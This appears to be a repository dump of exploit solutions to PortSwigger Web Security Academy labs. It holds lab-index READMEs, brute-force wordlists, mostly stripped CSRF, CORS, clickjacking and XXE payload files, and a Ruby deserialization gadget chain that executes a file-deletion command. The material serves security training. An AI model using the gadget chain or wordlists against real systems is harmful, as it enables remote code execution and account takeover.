├── .gitignore
├── Portswigger.png
├── Portswigger2.png
├── FileUpload
├── out.php
└── README.md
├── XXE
├── output-lab08.png
├── payload07.xml
├── payload03.xml
├── payload04.xml
├── payload01.xml
├── payload05.xml
├── payload02.xml
├── payload06.xml
├── payload08.svg
├── payload09.xml
├── exploit-lab07.py
├── README.md
├── exploit-lab01.py
├── exploit-lab02.py
├── exploit-lab03.py
├── exploit-lab04.py
└── exploit-lab09.py
├── DOMBasedXSS
├── payload06.html
├── payload07.html
├── payload02.html
├── payload01.html
├── payload04.html
├── payload03.html
├── payload05.html
└── README.md
├── InsecureDeserialization
├── out.jpg
└── deserial.rb
├── JWT
├── pkcs1.asn
├── x509.asn
└── README.md
├── SSTI
├── payload2.java
├── payload1.java
├── README.md
└── exploit-lab01.py
├── requirements.txt
├── BusinessLogic
└── exploit-lab12.py
├── CSRF
├── payload08.html
├── payload09.html
├── payload07.html
├── payload02.html
├── payload01.html
├── payload03.html
├── payload04.html
├── payload11.html
├── payload12.html
├── payload10.html
├── payload06.html
└── payload05.html
├── EssentialSkills
├── README.md
└── exploit-lab01.py
├── CORS
├── payload01.html
├── payload03.html
├── payload02.html
└── README.md
├── ClickJacking
├── payload02.html
├── payload03.html
├── payload04.html
├── payload01.html
├── test.html
├── payload05.html
└── README.md
├── Websockets
├── README.md
├── exploit-lab01.py
└── exploit-lab03.py
├── NoSQL
├── README.md
└── exploit-lab02.py
├── Authentication
├── usernames.txt
├── passwords.txt
├── exploit-lab13.py
└── exploit-lab09.py
├── GraphQL
└── README.md
├── OSCommandInjection
├── README.md
├── exploit-lab01.py
└── exploit-lab04.py
├── InformationDisclosure
├── README.md
├── exploit-lab02.py
├── exploit-lab01.py
└── exploit-lab04.py
├── APITesting
└── README.md
├── OAuth
└── README.md
├── DirectoryTraversal
├── README.md
├── exploit-lab01.py
├── exploit-lab05.py
├── exploit-lab03.py
├── exploit-lab02.py
├── exploit-lab06.py
└── exploit-lab04.py
├── SSRF
├── README.md
├── exploit-lab03.py
├── exploit-lab06.py
├── exploit-lab05.py
└── exploit-lab01.py
├── HostHeader
└── README.md
├── XSS
├── exploit-lab01.py
├── exploit-lab17.py
├── exploit-lab12.py
├── exploit-lab11.py
├── exploit-lab04.py
├── exploit-lab16.py
├── exploit-lab09.py
├── exploit-lab03.py
├── exploit-lab07.py
├── exploit-lab30.py
├── exploit-lab05.py
├── exploit-lab28.py
├── exploit-lab18.py
├── exploit-lab27.py
├── exploit-lab10.py
├── exploit-lab25.py
├── exploit-lab19.py
├── exploit-lab21.py
└── exploit-lab02.py
├── SQLInjection
├── exploit-lab07.py
├── exploit-lab01.py
├── exploit-lab14.py
├── exploit-lab16.py
└── exploit-lab02.py
├── WebCachePoisoning
├── exploit-lab02.py
├── exploit-lab05.py
└── exploit-lab06.py
└── PrototypePollution
└── exploit-lab01.py
/.gitignore:
--------------------------------------------------------------------------------
1 | notes.txt
2 | *.zip
3 | */__pycache__
4 | JWT/*.pem
5 |
--------------------------------------------------------------------------------
/Portswigger.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gwyomarch/WebSecurityAcademy/HEAD/Portswigger.png
--------------------------------------------------------------------------------
/Portswigger2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gwyomarch/WebSecurityAcademy/HEAD/Portswigger2.png
--------------------------------------------------------------------------------
/FileUpload/out.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gwyomarch/WebSecurityAcademy/HEAD/FileUpload/out.php
--------------------------------------------------------------------------------
/XXE/output-lab08.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gwyomarch/WebSecurityAcademy/HEAD/XXE/output-lab08.png
--------------------------------------------------------------------------------
/DOMBasedXSS/payload06.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/InsecureDeserialization/out.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gwyomarch/WebSecurityAcademy/HEAD/InsecureDeserialization/out.jpg
--------------------------------------------------------------------------------
/XXE/payload07.xml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/XXE/payload03.xml:
--------------------------------------------------------------------------------
1 | ]>&xxe;2
--------------------------------------------------------------------------------
/XXE/payload04.xml:
--------------------------------------------------------------------------------
1 | %xxe; ] >12
--------------------------------------------------------------------------------
/DOMBasedXSS/payload07.html:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/CSRF/payload09.html:
--------------------------------------------------------------------------------
1 |
10 |
--------------------------------------------------------------------------------
/XXE/payload09.xml:
--------------------------------------------------------------------------------
1 |
3 |
5 | ">
6 | %eval;
7 | %error;
8 | '>
9 | %local_dtd;
10 | ]>71
--------------------------------------------------------------------------------
/CSRF/payload07.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
7 |
11 |
12 |
--------------------------------------------------------------------------------
/EssentialSkills/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Essential Skills
3 |
4 |
5 |
6 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/EssentialSkills/exploit-lab01.py)
7 |
8 | Lab: [Discovering vulnerabilities quickly with targeted scanning](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-discovering-vulnerabilities-quickly-with-targeted-scanning)
9 |
10 | Difficulty: PRACTITIONER
11 |
--------------------------------------------------------------------------------
/CSRF/payload02.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
7 |
10 |
11 |
--------------------------------------------------------------------------------
/CSRF/payload01.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
7 |
10 |
11 |
--------------------------------------------------------------------------------
/CSRF/payload03.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
7 |
10 |
11 |
--------------------------------------------------------------------------------
/CORS/payload01.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
15 |
16 |
--------------------------------------------------------------------------------
/JWT/x509.asn:
--------------------------------------------------------------------------------
1 | PKCS8 DEFINITIONS ::= BEGIN
2 |
3 | PublicKeyInfo ::= SEQUENCE {
4 | publicKeyAlgorithm PrivateKeyAlgorithmIdentifier, -- for some reason I can't comprehend this only works with "Private"
5 | publicKey BIT STRING
6 | }
7 |
8 |
9 |
10 |
11 | Version ::= INTEGER
12 |
13 | PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier
14 |
15 |
16 | AlgorithmIdentifier ::= SEQUENCE {
17 | algorithm OBJECT IDENTIFIER,
18 | parameters NULL
19 | }
20 |
21 |
22 | END
--------------------------------------------------------------------------------
/CORS/payload03.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/ClickJacking/payload02.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
18 |
19 |
20 | Click me
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/ClickJacking/payload03.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
18 |
19 |
20 | Click me
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/CSRF/payload04.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
8 |
11 |
12 |
--------------------------------------------------------------------------------
/CSRF/payload11.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
10 |
14 |
15 |
--------------------------------------------------------------------------------
/CORS/payload02.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/ClickJacking/payload04.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
18 |
19 |
20 | Click me
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/CSRF/payload12.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
6 |
7 |
10 |
13 |
14 |
--------------------------------------------------------------------------------
/CSRF/payload10.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
6 |
16 |
17 |
--------------------------------------------------------------------------------
/ClickJacking/payload01.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/CSRF/payload06.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
8 |
9 |
12 |
13 |
--------------------------------------------------------------------------------
/CSRF/payload05.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
8 |
9 |
12 |
13 |
--------------------------------------------------------------------------------
/ClickJacking/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
25 |
26 |
27 | Click me first!
28 | Click me next!
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/ClickJacking/payload05.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/Websockets/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Websockets
4 |
5 |
6 |
7 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/Websockets/exploit-lab01.py)
8 |
9 | Lab: [Manipulating WebSocket messages to exploit vulnerabilities](https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities)
10 |
11 | Difficulty: APPRENTICE
12 |
13 |
14 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/Websockets/exploit-lab02.py)
15 |
16 | Lab: [Cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab)
17 |
18 | Difficulty: PRACTITIONER
19 |
20 |
21 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/Websockets/exploit-lab03.py)
22 |
23 | Lab: [Manipulating the WebSocket handshake to exploit vulnerabilities](https://portswigger.net/web-security/websockets/lab-manipulating-handshake-to-exploit-vulnerabilities)
24 |
25 | Difficulty: PRACTITIONER
26 |
27 |
28 |
--------------------------------------------------------------------------------
/InsecureDeserialization/deserial.rb:
--------------------------------------------------------------------------------
1 | # Autoload the required classes
2 | Gem::SpecFetcher
3 | Gem::Installer
4 |
5 | # prevent the payload from running when we Marshal.dump it
6 | module Gem
7 | class Requirement
8 | def marshal_dump
9 | [@requirements]
10 | end
11 | end
12 | end
13 |
14 | wa1 = Net::WriteAdapter.new(Kernel, :system)
15 |
16 | rs = Gem::RequestSet.allocate
17 | rs.instance_variable_set('@sets', wa1)
18 | rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
19 |
20 | wa2 = Net::WriteAdapter.new(rs, :resolve)
21 |
22 | i = Gem::Package::TarReader::Entry.allocate
23 | i.instance_variable_set('@read', 0)
24 | i.instance_variable_set('@header', "aaa")
25 |
26 | n = Net::BufferedIO.allocate
27 | n.instance_variable_set('@io', i)
28 | n.instance_variable_set('@debug_output', wa2)
29 |
30 | t = Gem::Package::TarReader.allocate
31 | t.instance_variable_set('@io', n)
32 |
33 | r = Gem::Requirement.allocate
34 | r.instance_variable_set('@requirements', t)
35 |
36 | payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
37 | puts Base64.encode64(payload)
38 |
--------------------------------------------------------------------------------
/CORS/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## CORS
3 |
4 |
5 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/CORS/exploit-lab01.py)
6 |
7 | Lab: [CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
8 |
9 | Difficulty: APPRENTICE
10 |
11 |
12 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/CORS/exploit-lab02.py)
13 |
14 | Lab: [CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
15 |
16 | Difficulty: APPRENTICE
17 |
18 |
19 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/CORS/exploit-lab03.py)
20 |
21 | Lab: [CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
22 |
23 | Difficulty: PRACTITIONER
24 |
25 |
26 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/CORS/exploit-lab04.py)
27 |
28 | Lab: [CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
29 |
30 | Difficulty: EXPERT
31 |
32 |
--------------------------------------------------------------------------------
/NoSQL/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## NoSQL
3 |
4 |
5 |
6 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/NoSQL/exploit-lab01.py)
7 |
8 | Lab: [Detecting NoSQL injection](https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-detection)
9 |
10 | Difficulty: APPRENTICE
11 |
12 |
13 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/NoSQL/exploit-lab02.py)
14 |
15 | Lab: [Exploiting NoSQL operator injection to bypass authentication](https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-bypass-authentication)
16 |
17 | Difficulty: APPRENTICE
18 |
19 |
20 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/NoSQL/exploit-lab03.py)
21 |
22 | Lab: [Exploiting NoSQL injection to extract data](https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-data)
23 |
24 | Difficulty: PRACTITIONER
25 |
26 |
27 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/NoSQL/exploit-lab04.py)
28 |
29 | Lab: [Exploiting NoSQL operator injection to extract unknown fields](https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-unknown-fields)
30 |
31 | Difficulty: PRACTITIONER
32 |
33 |
--------------------------------------------------------------------------------
/Authentication/usernames.txt:
--------------------------------------------------------------------------------
1 | carlos
2 | root
3 | admin
4 | test
5 | guest
6 | info
7 | adm
8 | mysql
9 | user
10 | administrator
11 | oracle
12 | ftp
13 | pi
14 | puppet
15 | ansible
16 | ec2-user
17 | vagrant
18 | azureuser
19 | academico
20 | acceso
21 | access
22 | accounting
23 | accounts
24 | acid
25 | activestat
26 | ad
27 | adam
28 | adkit
29 | admin
30 | administracion
31 | administrador
32 | administrator
33 | administrators
34 | admins
35 | ads
36 | adserver
37 | adsl
38 | ae
39 | af
40 | affiliate
41 | affiliates
42 | afiliados
43 | ag
44 | agenda
45 | agent
46 | ai
47 | aix
48 | ajax
49 | ak
50 | akamai
51 | al
52 | alabama
53 | alaska
54 | albuquerque
55 | alerts
56 | alpha
57 | alterwind
58 | am
59 | amarillo
60 | americas
61 | an
62 | anaheim
63 | analyzer
64 | announce
65 | announcements
66 | antivirus
67 | ao
68 | ap
69 | apache
70 | apollo
71 | app
72 | app01
73 | app1
74 | apple
75 | application
76 | applications
77 | apps
78 | appserver
79 | aq
80 | ar
81 | archie
82 | arcsight
83 | argentina
84 | arizona
85 | arkansas
86 | arlington
87 | as
88 | as400
89 | asia
90 | asterix
91 | at
92 | athena
93 | atlanta
94 | atlas
95 | att
96 | au
97 | auction
98 | austin
99 | auth
100 | auto
101 | autodiscover
--------------------------------------------------------------------------------
/Authentication/passwords.txt:
--------------------------------------------------------------------------------
1 | 123456
2 | password
3 | 12345678
4 | qwerty
5 | 123456789
6 | 12345
7 | 1234
8 | 111111
9 | 1234567
10 | dragon
11 | 123123
12 | baseball
13 | abc123
14 | football
15 | monkey
16 | letmein
17 | shadow
18 | master
19 | 666666
20 | qwertyuiop
21 | 123321
22 | mustang
23 | 1234567890
24 | michael
25 | 654321
26 | superman
27 | 1qaz2wsx
28 | 7777777
29 | 121212
30 | 000000
31 | qazwsx
32 | 123qwe
33 | killer
34 | trustno1
35 | jordan
36 | jennifer
37 | zxcvbnm
38 | asdfgh
39 | hunter
40 | buster
41 | soccer
42 | harley
43 | batman
44 | andrew
45 | tigger
46 | sunshine
47 | iloveyou
48 | 2000
49 | charlie
50 | robert
51 | thomas
52 | hockey
53 | ranger
54 | daniel
55 | starwars
56 | klaster
57 | 112233
58 | george
59 | computer
60 | michelle
61 | jessica
62 | pepper
63 | 1111
64 | zxcvbn
65 | 555555
66 | 11111111
67 | 131313
68 | freedom
69 | 777777
70 | pass
71 | maggie
72 | 159753
73 | aaaaaa
74 | ginger
75 | onceuponatime
76 | princess
77 | joshua
78 | cheese
79 | amanda
80 | summer
81 | love
82 | ashley
83 | nicole
84 | chelsea
85 | biteme
86 | matthew
87 | access
88 | yankees
89 | 987654321
90 | dallas
91 | austin
92 | thunder
93 | taylor
94 | matrix
95 | mobilemail
96 | mom
97 | monitor
98 | monitoring
99 | montana
100 | moon
101 | moscow
102 | secret1
103 |
--------------------------------------------------------------------------------
/GraphQL/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## GraphQL
3 |
4 |
5 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/GraphQL/exploit-lab01.py)
6 |
7 | Lab: [Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts)
8 |
9 | Difficulty: APPRENTICE
10 |
11 |
12 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/GraphQL/exploit-lab02.py)
13 |
14 | Lab: [Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure)
15 |
16 | Difficulty: PRACTITIONER
17 |
18 |
19 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/GraphQL/exploit-lab03.py)
20 |
21 | Lab: [Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
22 |
23 | Difficulty: PRACTITIONER
24 |
25 |
26 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/GraphQL/exploit-lab04.py)
27 |
28 | Lab: [Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass)
29 |
30 | Difficulty: PRACTITIONER
31 |
32 |
33 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/GraphQL/exploit-lab05.py)
34 |
35 | Lab: [Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api)
36 |
37 | Difficulty: PRACTITIONER
38 |
--------------------------------------------------------------------------------
/ClickJacking/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## ClickJacking
3 |
4 |
5 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/ClickJacking/exploit-lab01.py)
6 |
7 | Lab: [Basic clickjacking with CSRF token protection](https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected)
8 |
9 | Difficulty: APPRENTICE
10 |
11 |
12 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/ClickJacking/exploit-lab02.py)
13 |
14 | Lab: [Clickjacking with form input data prefilled from a URL parameter](https://portswigger.net/web-security/clickjacking/lab-prefilled-form-input)
15 |
16 | Difficulty: APPRENTICE
17 |
18 |
19 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/ClickJacking/exploit-lab03.py)
20 |
21 | Lab: [Clickjacking with a frame buster script](https://portswigger.net/web-security/clickjacking/lab-frame-buster-script)
22 |
23 | Difficulty: APPRENTICE
24 |
25 |
26 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/CSRF/exploit-lab04.py)
27 |
28 | Lab: [Exploiting clickjacking vulnerability to trigger DOM-based XSS](https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss)
29 |
30 | Difficulty: PRACTITIONER
31 |
32 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/CSRF/exploit-lab05.py)
33 |
34 | Lab: [Multistep clickjacking](https://portswigger.net/web-security/clickjacking/lab-multistep)
35 |
36 | Difficulty: PRACTITIONER
37 |
38 |
--------------------------------------------------------------------------------
/OSCommandInjection/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## OS Command Injection
3 |
4 |
5 |
6 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OSCommandInjection/exploit-lab01.py)
7 |
8 | Lab: [OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
9 |
10 | Difficulty: APPRENTICE
11 |
12 |
13 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OSCommandInjection/exploit-lab02.py)
14 |
15 | Lab: [Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
16 |
17 | Difficulty: PRACTITIONER
18 |
19 |
20 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OSCommandInjection/exploit-lab03.py)
21 |
22 | Lab: [Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
23 |
24 | Difficulty: PRACTITIONER
25 |
26 |
27 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OSCommandInjection/exploit-lab04.py)
28 |
29 | Lab: [Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
30 |
31 | Difficulty: PRACTITIONER
32 |
33 |
34 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OSCommandInjection/exploit-lab05.py)
35 |
36 | Lab: [Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
37 |
38 | Difficulty: PRACTITIONER
39 |
40 | - Requires Burp Collaborator (BurpSuite Pro) NOT TESTED
41 |
42 |
--------------------------------------------------------------------------------
/InformationDisclosure/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Information Disclosure
3 |
4 |
5 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/InformationDisclosure/exploit-lab01.py)
6 |
7 | Lab: [Information disclosure in error messages](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages)
8 |
9 | Difficulty: APPRENTICE
10 |
11 |
12 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/InformationDisclosure/exploit-lab02.py)
13 |
14 | Lab: [Information disclosure on debug page](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-on-debug-page)
15 |
16 | Difficulty: APPRENTICE
17 |
18 |
19 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/InformationDisclosure/exploit-lab03.py)
20 |
21 | Lab: [Source code disclosure via backup files](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-via-backup-files)
22 |
23 | Difficulty: APPRENTICE
24 |
25 |
26 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/InformationDisclosure/exploit-lab04.py)
27 |
28 | Lab: [Authentication bypass via information disclosure](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass)
29 |
30 | Difficulty: APPRENTICE
31 |
32 |
33 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/InformationDisclosure/exploit-lab05.py)
34 |
35 | Lab: [Information disclosure in version control history](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
36 |
37 | Difficulty: PRACTITIONER
38 |
39 |
--------------------------------------------------------------------------------
/APITesting/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## API testing
3 |
4 |
5 |
6 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/APITesting/exploit-lab01.py)
7 |
8 | Lab: [Exploiting an API endpoint using documentation](https://portswigger.net/web-security/api-testing/lab-exploiting-api-endpoint-using-documentation)
9 |
10 | Difficulty: APPRENTICE
11 |
12 |
13 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/APITesting/exploit-lab02.py)
14 |
15 | Lab: [Exploiting server-side parameter pollution in a query string](https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-query-string)
16 |
17 | Difficulty: PRACTITIONER
18 |
19 |
20 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/APITesting/exploit-lab03.py)
21 |
22 | Lab: [Finding and exploiting an unused API endpoint](https://portswigger.net/web-security/api-testing/lab-exploiting-unused-api-endpoint)
23 |
24 | Difficulty: PRACTITIONER
25 |
26 |
27 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/APITesting/exploit-lab04.py)
28 |
29 | Lab: [Exploiting a mass assignment vulnerability](https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability)
30 |
31 | Difficulty: PRACTITIONER
32 |
33 |
34 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/APITesting/exploit-lab05.py)
35 |
36 | Lab: [Exploiting server-side parameter pollution in a REST URL](https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-rest-url)
37 |
38 | Difficulty: EXPERT
39 |
40 |
41 |
--------------------------------------------------------------------------------
/OAuth/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## OAuth
4 |
5 |
6 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OAuth/exploit-lab01.py)
7 |
8 | Lab: [Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
9 |
10 | Difficulty: APPRENTICE
11 |
12 |
13 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OAuth/exploit-lab02.py)
14 |
15 | Lab: [Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
16 |
17 | Difficulty: PRACTITIONER
18 |
19 |
20 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OAuth/exploit-lab03.py)
21 |
22 | Lab: [OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
23 |
24 | Difficulty: PRACTITIONER
25 |
26 |
27 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OAuth/exploit-lab04.py)
28 |
29 | Lab: [Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)
30 |
31 | Difficulty: PRACTITIONER
32 |
33 |
34 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OAuth/exploit-lab05.py)
35 |
36 | Lab: [SSRF via OpenID dynamic client registration](https://portswigger.net/web-security/oauth/openid/lab-oauth-ssrf-via-openid-dynamic-client-registration)
37 |
38 | Difficulty: PRACTITIONER
39 |
40 |
41 | ### [**Script 06**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/OAuth/exploit-lab06.py)
42 |
43 | Lab: [Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
44 |
45 | Difficulty: EXPERT
46 |
47 |
--------------------------------------------------------------------------------
/DirectoryTraversal/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Directory Traversal
4 |
5 |
6 |
7 |
8 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DirectoryTraversal/exploit-lab01.py)
9 |
10 | Lab: [File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple)
11 |
12 | Difficulty: APPRENTICE
13 |
14 |
15 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DirectoryTraversal/exploit-lab02.py)
16 |
17 | Lab: [File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)
18 |
19 | Difficulty: PRACTITIONER
20 |
21 |
22 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DirectoryTraversal/exploit-lab03.py)
23 |
24 | Lab: [File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively)
25 |
26 | Difficulty: PRACTITIONER
27 |
28 |
29 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DirectoryTraversal/exploit-lab04.py)
30 |
31 | Lab: [File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode)
32 |
33 | Difficulty: PRACTITIONER
34 |
35 |
36 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DirectoryTraversal/exploit-lab05.py)
37 |
38 | Lab: [File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path)
39 |
40 | Difficulty: PRACTITIONER
41 |
42 |
43 | ### [**Script 06**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DirectoryTraversal/exploit-lab06.py)
44 |
45 | Lab: [File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass)
46 |
47 | Difficulty: PRACTITIONER
48 |
49 |
50 |
--------------------------------------------------------------------------------
/SSRF/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## SSRF
3 |
4 |
5 |
6 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSRF/exploit-lab01.py)
7 |
8 | Lab: [Basic SSRF against the local server](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost)
9 |
10 | Difficulty: APPRENTICE
11 |
12 |
